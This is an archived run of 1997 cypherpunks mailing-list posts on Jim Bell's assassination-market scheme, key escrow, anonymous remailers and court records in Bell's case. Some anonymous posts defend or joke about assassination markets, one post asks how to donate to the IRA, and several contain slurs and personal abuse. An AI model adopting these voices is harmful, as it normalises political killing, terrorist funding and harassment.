   Jim Bell's pet project was to work on a solution for problems
which reached the point of requiring the ultimate action--total
removal of the threat. Each cypherpunk had his or her own views
of what constituted a problem of that magnitude. 
  To suggest that any cypherpunk should not be allowed to express 
his or her opinion in regard to who his solution might apply to, 
and why, is not much different than saying that none of our 
discussions should address specific issues, only generalities.
  This is akin to saying that we cannot mention older people,
or sick people, when discussing euthanasia.

  Excuse me, but someone is shooting at me.
  I need to go buy a gun...

TruthMonger
  




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 13:26:27 -0800 (PST)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i3942$e76@life.ai.mit.edu>
Message-ID: <334565C3.6374@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk pissed off Hallam-Baker to the 
extent that gave up all pretense hiding his support for
a New World Order, and wrote:

> I have degrees in Nuclear Physics, Electronic Engineering, I have
> been offered a contract for my book on the philosophy of
> communication.

   ...so the rest of us are just dirt under your feet?
 
> I don't believe that people
> are fit judges of their own cause as Bell and you do.
 
  So we should only fight for other people's causes, and not
our own? Or not fight at all?
  It sounds to me like Jim Bell isn't the only one on the list
with his own drug lab. Did you bring enough for everybody, Phill?

<earlier>
> Who decides what "innocent" was?
<now>
>  Bells plan would lead to murder of innocent people.

  Well, I guess that now we know *who* decides.
  Send me a list of the "innocent" people, Phill, and I'll put
them in the blocking list on my AP-Bot.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 4 Apr 1997 12:57:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hallam-Baker messes himself.
Message-ID: <20571263600017@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker, pissing all over his own train of logic, wrote:

> It is because Bell's scheme is entirely preposterous that Digital
> cash is possible. There is simply no way an AP contract could be
> enforced.
> No country could allow such a betting pool to operate from its soil,
> nor any other such cover.
> 
> I will not only refuse to support Bell, I'll testify against him in
> court if asked.

  What are you going to testify to?
  To Bell's scheme not being a threat to anybody because it would
never work?  That it is nothing more than a theoretical exercise
which does not present a danger to a single soul? That it is 
preposterous of the government to prosecute someone on the basis
of a pie-in-the-sky, preposterous idea?

  I'm certain the government is anxiously awaiting your testimony,
as well as that of a number of others on the list who seem to think
that Jim Bell is such a powerful and evil force that his mere 
thoughts and speculations are an overwhelming threat to civilization
as we know it.

  Everyone who thinks they can implement Jim Bell's AP system
in the near future, raise both hands.
  Now bend over backwards, placing your head near your rectum.
  Now...

TruthMonger
  



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ForeFront <webmaster@sldc.ffg.com>
Date: Fri, 4 Apr 1997 14:04:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: News from the Front
Message-ID: <B0000191882@bs.net>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
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http://www.ffg.com		     Mailing List  3/31/97
-----------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nolegz@juno.com (Lloyd E Briggs)
Date: Fri, 4 Apr 1997 13:19:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <um2L5D45w165w@bwalk.dm.com>
Message-ID: <19970404.154747.11926.0.NOLEGZ@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


I would like to be removed from this mailing list please


On Thu, 03 Apr 97 19:24:05 EST dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
writes:
>"Timothy C. May" <tcmay@got.net> writes:
>> Next came the vaunted 6600, after almost not being funded to 
>completion. It
>> waws the first true supercomputer. Cray had moved his team up to 
>Chippewa
>  ^^^^???
>
>I used to play with a 6600. It had some interesting hardware features:
>* It used one's complement rather than two's complement to represent 
>negative
>integers. (I.e. -x is the same as not x; a pattern of all 1's is 
>'-0'.)
>* It had 60-bit words for both integers and single-precision reals.
>A 120-bit double precision was pretty slow. A word could fit 10 6-bit
>characters, but any kind of text processing was a bitch.
>* 15-bit addresses referred to the whole word. A word could contain
>several instructions, but only an instruction on a word boundary
>could be a target of a branch.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 
>14.4Kbps
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 13:42:38 -0800 (PST)
To: Steve <privsoft@ix.netcom.com>
Subject: Re: US Domestic GAK
In-Reply-To: <334571A3.3B05@ix.netcom.com>
Message-ID: <334575BC.4233@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
> Has Anyone heard about this?????

> Clinton administration has new encryption proposal
>       Network World via Individual Inc. : Washington, D.C.

> Now in its first formal legislative document...that law 
> enforcement be given access to that data
> based on a simple request from a law enforcement or 
  ^^^^^^^^^^^^^^^^^^^^^^^^^
> government security agency.

  I think most list members heard about this by sticking
their wet finger in the wind, long before the offical
words were spoken.
  Anyone surprised by the news needs to spank themselves. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Fri, 4 Apr 1997 13:23:22 -0800 (PST)
To: cypherpunks@algebra.com
Subject: US Domestic GAK
Message-ID: <334571A3.3B05@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Has Anyone heard about this?????
sorrin
privsoft@ix.netcom.com

Clinton administration has new encryption proposal

      Network World via Individual Inc. : Washington, D.C.

      For months the Clinton administration has lobbied for its version
      of key escrow that largely focused on encryption export.

      Now in its first formal legislative document, the White House is
      asking that its policy also apply to data encrypted within U.S.
      borders and that law enforcement be given access to that data
      based on a simple request from a law enforcement or government
      security agency.

      The U.S. Attorney General will set up the specific rules for
written
      authorization. Civil liberties groups highly critical of the White
      House plan pointed out that under the basic guidelines it will be
      easier for law enforcement to get encryption keys than to tap
      phones, which requires a warrant or court order.

      The administration does not just face domestic opposition to its
      proposed policy. The international community, represented by the
      29-nation Organization for Economic Cooperation and
      Development (OECD), also has not rallied behind the Clinton
      cause.

      After a year of study and intense lobbying by the U.S. Justice
      Department, the OECD, based in Brussels, Belgium, last week
      released the ``Cryptography Policy Guidelines,'' an eight-point
      document that recognizes nations may want to have access to
      cryptographic keys or un-scrambled plaintext. But the OECD
      guidelines fall far short of recommending key recovery as the
      preferred international approach.

      Some participants in the OECD crypto-policy effort were pleased
      with its outcome, including Marc Rotenberg, director of the
      Electronic Privacy Information Center here.

      ``There's a strong emphasis here on privacy and voluntary market
      guidelines,'' Rotenberg said. The OECD guidelines state that users
      should have a choice in cryptography, that cryptography should
      be driven by business requirements, and that the privacy of
      personal data and the secrecy of communications should be
      respected.

      Congressional cold shoulder So far, no legislators on Capitol Hill
      have embraced the ideas in the administration-drafted legislation,
      the Electronic Data Security Act of 1997, which also calls for
      nationally certified key-recovery centers for storing copies of
      encryption keys.

      ``From our point of view, it's a breathtaking expansion of law
      enforcement's surveillance au-thority,'' said Alan Davidson, staff
      counsel at the Washington, D.C.-based Center for Democracy and
      Technology (CDT) about the draft bill. The CDT has posted the
      bill on its Web site, www.cdt.org.

      Commerce Department Un-der Secretary William Reinsch, whose
      office took the lead in drafting the bill, last week had no
comment.

      The draft bill emphasizes that the key-recovery regulation is
      voluntary in the U.S., but opponents argue otherwise.

      The White House draft defines as the federal standard only digital
      certificates that work with key-recovery encryption products.

      And under the drafted bill, employees working in a
      government-certified key-recovery center would be spared any
      civil or criminal liabilities for disclosing decrypted information
to
 a
      government agency.

      Through the economic in-centives and regulatory impact of the
      Clinton administration bill, ``they plan to severely limit [the
      products] you can choose from,'' according to Jim Bidzos,
      president of RSA Data Security, Inc., whose public-key
      technology is widely deployed in encryption products. ``The
      intent is to discourage the use of strong, unescrowed encryption
      in the U. S.''

      [Copyright 1997, Network World]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 4 Apr 1997 16:53:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim May badmouths anonymity.
Message-ID: <199704050053.QAA11133@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> This kind of ad hominem is to be expected from someone hiding behind
> anonymity.

  What a hypocrytical crock of shit.
  Are you concerned that your pal, Hallam-Baker, won't be able to 
"testify" against me when the Feds kick in my door as a supporter
of Jim Bell?

>  This message is clear-signed as being
> from "TruthMonger," but, in fact, it could be from anyone.

  TruthMonger is a multi-user Net persona, meant to be used
for that very reason.
  It is handy for lessening the ability of others to refuse to
deal with presented facts and logic, instead choosing to 
attempt refuting opinions through grand pronouncements as
to the writer's position in an imaginary elitist reputation 
capital scheme.

> If it is from
> the entity TruthMonger, and he wishes to have a persistent net personna, he
> ought to look into PGP-signing his remailed messages, or using a nym
> account.

  I have a persistent net persona. It's in your killfile.
 
> And as for my views causing the tanks to roll through Poland, etc., this is
> "magical thinking" at its worst. *
  {* DisinfoTranslation Technique (c) Greg Broiles}

  Either get your head out of your butt and learn to accurately
read and/or interpret the statements of others, or get a job
at C2Net.

> >  So, Tim and Phill, which one of you wants to step up to the plate
> >and be the first one to attempt to ostracize him so that his views
> >about the need for anonymous communications will not be taken as
> >representative of the cypherpunks views?
> 
> Fatuous nonsense. I'm not sure what "TruthMonger" means by "ostracize."

  There seems to be a tendency by some on the list to dismiss 
the posts of others by labeling them a 'loon' or somesuch 
derogatory term, rather than  addressing their logic and 
message, per se. 
  The fact that Bell tends to beat the AP drum ceaselessly may
make his repetiveness boring, but in no way makes his system
less valid than more mainstream methodologies. There is hardly
anyone on the list whose missives don't occassionally skip
like a broken record, but they are not labeled lunatics as 
long as they stay in the middle of the road. 
  (You might say that Bell has a "persistent net persona.")

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:28:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <860166103.1027983.0@fatmans.demon.co.uk>
Message-ID: <msqN5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> 
> > Jim is hardly the ideal poster boy for a free speech cause, but we should
> > not distance ourselves from him when he runs into problems directly
> > related to his advocacy of anonymous markets.  That cuts too closely
> > for comfort.  We should defend Jim's right to discuss AP and any other
> > institutions which may arise as a natural consequence of the capabilities
> > engendered by cryptography.  That is one of the main things this list is
> > for.  If they can silence Jim, it's going to be just a matter of time befor
> > they go after someone else.
> 
> I really cannot understand the posts I have been reading to the 
> effect that Jim Bell is a "loon" or a "terrorist" etc...
> If we do not protect the freedom of expression of the loons, fuckups, 
> terrorists and Bells of this world it will be our freedom that is 
> threatened next. As far as I know, anyway, Jim`s AP essay (the 
> original plan overview) was perfectly sane and discussed the problems 
> of people using it to commit crime by killing an innocent person as 
> well as the advantagest of the plan. 
> I will allow that some of his subsequent posts have been a little 
> "loon" like but I have never considered him to be a foaming at the 
> mouth madman as some do.

Someone said: "popular speech does not need protection".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:30:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <33453A2A.167E@ai.mit.edu>
Message-ID: <RwqN5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker <hallam@ai.mit.edu> writes:

> Timothy C. May wrote:
> > 
> > At 3:17 PM -0800 4/3/97, Anil Das wrote:
> >     Gee. I too wonder about that, since I am pretty
> > >sure the Feds don't have to time to read the cypherpunks
> > >list.
> > 
> > This is simply not true. Various government agencies/employees read the
> > Cypherpunks list.
> 
> Absolutely! I know quite a few who do.
> 
> Before Oaklahoma I spent some time trying to persuade people to take
> notice of the net.activities of the likes of Ahmed Cosar, an agent
> of the Turkish secret service who posted inflamatory material about
> Armenia into various newsgroups under the name Hasan B. Mutlu and 
> Serdar Argic. I'd guess that at this point the FBI has its own
> version of DejaNews.

Of course, everything Serdar Argic posted to Usenet was 100% documented truth.

The FBI would be better advised to look a close look at the terrorist activity
of one Ray "Arsen" Arachelian, an ASALA sympathizer in the employ of Earthweb,
LLP.

> 
> Its not hard to do analysis of USEnet, a bit of simple graph
> analysis. The real loons tend to turn up on the net.kooks 
> list quites quickly in any case.
> 
> 
> > This is not a matter of thinking ourselves self-important; this is just a
> > simple observation that there aren't a lot of places with more incisive
> > analysis of issues of importance to these folks. 
> 
> Plus not everyone in the agencies are pro the administration line. 
> I've met plenty of CIA and NSA people who think the GAK idea a
> pointless and futile waste of time. 
> 
> I suspect that most analysts read c'punks for the same reason I
> do, to get the widest possible range of views on what the posibilities
> for the future are.
> 
> 
> > Political advocacy is one thing, but making threats, even veiled ones, is
> > another matter.
> 
> Absolutely, that is why I was keen for people to oppose Bell's views.
> If his ramblings had gone unchallenged he would now be being
> presented as a representative of Cypherpunk/ pro-crypto views.
> 
> Besides anything else Bell was like the party bore with a 
> hobby horse he just has to talk about. I'm somewhat more
> sensitive than most to advocates of murdering government 
> officials, some of my relatives are in government and have 
> had well publicised assasination attempts against them.
> 
> 
> I think that Bell's on-list comments may well have been protected
> speech but I'm not sure about his off list comments. I'm scanning
> through my old mail files at the moment for missives from Bell
> re-reading them. 
> 
> I think that Bell's posts were entirely different from Tim's or
> for that matter almost every other person on the list. Tim 
> demonstrated that a covert information sales organisation was
> possible with Blacknet but he never advocated setting it up. 
> Indeed part of the point was the ethical responsibilities. Bell
> on the other hand was likely to respond to any post with his
> AP piece. I have throughout considered these to be incitement to 
> murder.
> 
> 
> It seems quite likely that Bell may have made a statement to an
> IRS official that in the context of his authoring the AP piece
> may have constituted a threat. If he spouted "Common law court" 
> theories as often to the IRS as he did AP on cypherpunks he would
> certainly have been marked for scrutiny. Its not hard to 
> connect with his AP piece which has been all over USEnet. According
> to the story they got it from a copy left behind in Bell's 
> seized Honda.
> 
> 
> 	Phill


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Fri, 4 Apr 1997 17:59:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Bell warrant, affidavit, return
Message-ID: <3.0.1.32.19970404172817.008b7920@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



This is the way to get copies of court filings in far-away places:

Call the court. Tell the person who answers the phone that you want to get
a copy of pleadings (or whatever it is you want a copy of) filed in a
particular case, giving them as much information as you have about the
case. When you're looking for a search warrant, that information will
usually be the address of the property searched and the date/time that the
search began. In other cases, it's the case number/file number, (or, more
annoying for the clerk, the name of the plaintiff and/or defendant). 

If the clerk can find the file based on the information you had, and the
contents aren't sealed, they'll give you the name/phone number of a
messenger service or copy service who will pick up copies from the court
and then FAX or mail them to you. They usually charge somewhere in the
neighborhood of $1 per page plus costs (like postage or phone) for this
service.

In Jim's case, the copy service's phone number is 206-383-1791. I received
FAX copies of the search warrant, supporting affidavit, and
return/inventory today. They're billing me for the charges incurred, which
I expect will be in the neighborhood of $25. I'm planning to scan them
tonight and make them available via the web, modulo personal information
which I will black out. 

Comments about a good way to balance public interest/privacy when making
the docs available are welcome. Have thought about publishing the documents
as images (not text) to foil indexing, about eliminating "personal" info like 
SS numbers, address, and serial number(s) of seized items. I think the text
of the affidavit is especially useful and instructive in terms of the
understanding it provides into the law enforcement view of
cpunks/anonymity/Internet issues. 

[Also received the Wassenaar Arrangement in response to my FOIA request,
along with the Secret Service's response ("no records") and a denial of my
appeal from the SF FBI office's "no records" response. Am planning to scan
those, too.]


--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 14:42:58 -0800 (PST)
To: "'toto@sk.sympatico.ca>
Subject: RE: Feds reading this list, Jim Bell, and threats
Message-ID: <01BC4120.2E4A9550@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




>paul@fatmans.demon.co.uk pissed off Hallam-Baker to the 
>extent that gave up all pretense hiding his support for
>a New World Order, and wrote:

Yeah, like I wrote in "The Laird of the new world order".

...
They said they worked for freedom but they had another plan.
The only new world order is, obey your Uncle Sam.

Must be in deep, deep cover.

>> I have degrees in Nuclear Physics, Electronic Engineering, I have
>> been offered a contract for my book on the philosophy of
>> communication.

 >  ...so the rest of us are just dirt under your feet?
 
I was pointing out that the attempt to claim that the rest of
us poor slobs didn't see Jim Bell as a shining Messiah was
not because we were too stupid to understand him as claimed.

>> I don't believe that people
>> are fit judges of their own cause as Bell and you do.
 
> So we should only fight for other people's causes, and not
>our own? Or not fight at all?
 
I think that before you murder someone because you think they 
are wrong you need to at the very least put the matter to an impartial
arbitrator.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:22:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cryptographer Hits SNL
In-Reply-To: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com>
Message-ID: <yZqN5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> Ex-Sandia Labs cryptographer William Payne has filed criminal 
> charges with Judge Marilyn Patel against an SNL official for 
> unauthorized disclosure of files:
> 
>    http://jya.com/snlhit.htm
> 
> 

Bill Payne is a very interestin guy.

If anyone figures out a polynomial-time factorization algorithm using
shift registers, it would probably be Bill Payne.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mid West Electronics <midwest@internetmedia.com>
Date: Fri, 4 Apr 1997 14:35:12 -0800 (PST)
To: midwest@internetmedia.com
Subject: Save Money...Own your own Cable Descrambler!
Message-ID: <bulk.6506.19970404143001@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:27:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: I hope thr IRA nails Hallam-Baker...
In-Reply-To: <19970404124803.38657@bywater.songbird.com>
Message-ID: <gFRN5D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote:
> > On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:
> [...]
> 
> > Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
> > closer to Jim Bell than he is to you in challenging the arrogant mullahs
> > of highly sophisticated armed thuggery. Who you shillinging for these 
> > days, Crispin's bandits of the NLs?
> 
> Crispin shills for himself, not the NLs or any bandits or anyone else. 
> Phil Hallam-Baker shills for Phil Hallam-Baker.  Jim Bell's advocacy
> of armed thuggery speaks for itself. 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html

I just noticed how when I first called Cocksucker John Gilmore an
NSA shill (which he is), some people didnb't know what the fuck it
was, but now everyone's accusing everyone else of shilling.

How can one donate money to rthe IRA anyway?

Hallam baker convinced me to.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 16:09:21 -0800 (PST)
To: Michael C Taylor <mctaylor@mta.ca>
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <Pine.LNX.3.95.970404181931.473H-100000@fractal.mta.ca>
Message-ID: <33459704.3F09@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Michael C Taylor wrote:
> On Fri, 4 Apr 1997, Toto wrote:
> 
> >  If a list operator can program a remailer to send only to their
> > own list, then they can make it a subscriber and allow people who
> > fear being discovered to post their concerns through it anonymously,
> > and advertise its existence in places where those most likely to
> > need it will find out about the service.
> 
> Is there a combo-solution existing, an self-anonymouizing mailing list?
 
> That is, you send the message to the list as normal listname@myhost.com,
> it strips the From: headers and other headers, and forwards it to a closed
> mailing list (only members can post, disabled 'who', ...).

  I'm not certain, being far from an expert on remailers and 
majordomos. I've had one person indicate that majordomos could 
be configured to keep all users anonymous, but didn't know
if it could be done selectively in the case of anonymous
remailers. He is supposed to get back to me on it.

  I have been experimenting with Windows remailers, but haven't
found any that allow one to specify only a single, or group of,
Mail To: addresses.
  I made an offer to a friend to attempt to find an anonymizing
solution for a group of related health lists, so that their 
subscribers would feel free to discuss extremely personal issues
of great concern. Also, there is the issue of health providers
cruising the list to find personal information which they can
use to drop coverage for those they deem to be a potential
financial burden to their company.

  They have a need to keep their lists closed except to subscribers
in order to block total assholes who do things like sending posts
to suicidal people telling them to kill themselves, etc.
  A privately run remailer would allow the moderator to instantly 
block anonymous access to an individual who harasses list members,
or the group as a whole. (People with disabilities tend to get
enough crapola out in the normal world, without needing to get
it in a health support forum.)

  I haven't had a chance to delve into the problem too deeply,
as of yet, so any suggestions or pointers would be appreciated.
  I think that this is a situation which addresses the legitimate
use of anonymous remailers that many remailer operators would
consider to be the type of benefit that they are trying to promote
in giving their time and effort to providing anonymous remailer
services.
  It certainly wouldn't harm the cause of anonymous remailers to
have a few positive examples of the good results that can come
from providing anonymous email capabilities.

> Please CC to me any remailer-operator only followups.
> --
> Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
> Programmer, Mount Allison University, Canada

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 4 Apr 1997 14:21:32 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <3345308A.6DC3@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970404181931.473H-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Toto wrote:

>  If a list operator can program a remailer to send only to their
> own list, then they can make it a subscriber and allow people who
> fear being discovered to post their concerns through it anonymously,
> and advertise its existence in places where those most likely to
> need it will find out about the service.

Is there a combo-solution existing, an self-anonymouizing mailing list?

That is, you send the message to the list as normal listname@myhost.com,
it strips the From: headers and other headers, and forwards it to a closed
mailing list (only members can post, disabled 'who', ...).

Please CC to me any remailer-operator only followups.
--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
Programmer, Mount Allison University, Canada







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:05:19 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: The Laird
In-Reply-To: <01BC4120.30527340@crecy.ai.mit.edu>
Message-ID: <3345A39E.573D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> 
> >paul@fatmans.demon.co.uk pissed off Hallam-Baker to the
> >extent that gave up all pretense hiding his support for
> >a New World Order, and wrote:
> 
> Yeah, like I wrote in "The Laird of the new world order".
> ...
> They said they worked for freedom but they had another plan.
> The only new world order is, obey your Uncle Sam.

 I would like to see the complete work, if you have it
available online. 

> Must be in deep, deep cover.

  I'm a conspiracy theorist. Any particular Crayola colour you
would like me to use to draw the links between yourself and
the Cabal?
 
> I was pointing out that the attempt to claim that the rest of
> us poor slobs didn't see Jim Bell as a shining Messiah was
> not because we were too stupid to understand him as claimed.

  I once recorded a tune called, "He used to take acid, and now
he's found God, but he's still got that look in his eye."
  I can't deny that Jim Bell seems to have "that look" in his eye.
 
> >> I don't believe that people
> >> are fit judges of their own cause as Bell and you do.
> 
> > So we should only fight for other people's causes, and not
> >our own? Or not fight at all?
> 
> I think that before you murder someone because you think they
> are wrong you need to at the very least put the matter to an impartial
> arbitrator.

  I believe that the AP system pretty much spreads out the
"arbitration" in much the same manner that the electoral system
does. To me, it is similar to the inter-family dynamics that
take place in Dr. Kevorkian's work, only on a more pervasive
scale.
  I have always seen Jim Bell's work as a theoretical exercise
that deserved a more serious analysis than he, himself, gave it.
It pushed the envelope of issues that need to be dealt with, and
did so in a manner that went beyond seemingly mundane matters
wherein one could easily dismiss the long-term consequences of
the train of logic involved.
  An analogy might be made to those who dismiss a little ass-
grabbing as inconsequential when compared to rape, as opposed 
to those who view it as a precursor to rape.

  Despite my sometimes caustic, irreverent demeanor, I enjoy 
your posts, as they show a thoughtfulness which goes beyond
some of the "Oh yeah! Sez who! Yo' mamma!" threads that 
sometimes prevail on various lists.
  So, don't change on my account, I hate you just the way you
are.  (Please note my aversion to adding little 'happy faces'
to my posts. Humor be humor.)
  
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:05:42 -0800 (PST)
To: Lloyd E Briggs <nolegz@juno.com>
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <um2L5D45w165w@bwalk.dm.com>
Message-ID: <3345A473.72C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lloyd E Briggs wrote:
> 
> I would like to be removed from this mailing list please

  Send your request to jimbell@pacifier.com.
  He has a system that deals with these kinds of requests.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 16:36:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Hallam-Baker is willing to testify
Message-ID: <01BC412D.69723F40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




null@myemail.net wrote in article <5i3vrt$aad@life.ai.mit.edu>...
> 
> Hallam-Baker, pissing all over his own train of logic, wrote:

> > I will not only refuse to support Bell, I'll testify against him in
> > court if asked.
> 
>   What are you going to testify to?

He sent me a considerable amount of material in private email. 

Anonynous insults do not impress me.


>   To Bell's scheme not being a threat to anybody because it would
> never work?  That it is nothing more than a theoretical exercise
> which does not present a danger to a single soul? 

I don't think it was a theoretical exercise. I think Jim scrambled his
brain with a dodgy dose of amphetamines or similar. His posts sounded
to me like the work of someone with a personality disorder who was
working his way up to psychopath.

>That it is 
> preposterous of the government to prosecute someone on the basis
> of a pie-in-the-sky, preposterous idea?

It may sound loony to you but I have no doubt that Jim believed
what he wrote and intended others to act on it. I'm not sure that 
he acted on it himself but I would not be at all suprised.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 16:16:34 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <01BC412D.6B3C02C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May <tcmay@got.net> wrote in article <5i3tpu$86h@life.ai.mit.edu>...
> At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
> 
> >  Horseshit. Anybody here ever hear of the Boston Tea Party? How
> >about the American Revolution?  War of Independece? French Revolution?
> >  You know, people who said "Fuck this shit, I've had enough." People
> >who acted in concert to fight injustice and oppression.

If you care to read the history of the times from unbiased sources 
you will find that the Boston patriots main gripe with Britain was
not the tax on tea but the insistence of the British authorities on
negotiating with the Sioux nation amongst others. It was the fear
that the British would sign a peace treaty with the Indians recognising
them as a sovereign nation that was the spark to the flame. Try
reading "Lies my teacher told me" sometime.

Given that the American revolution institutionalised slavery and
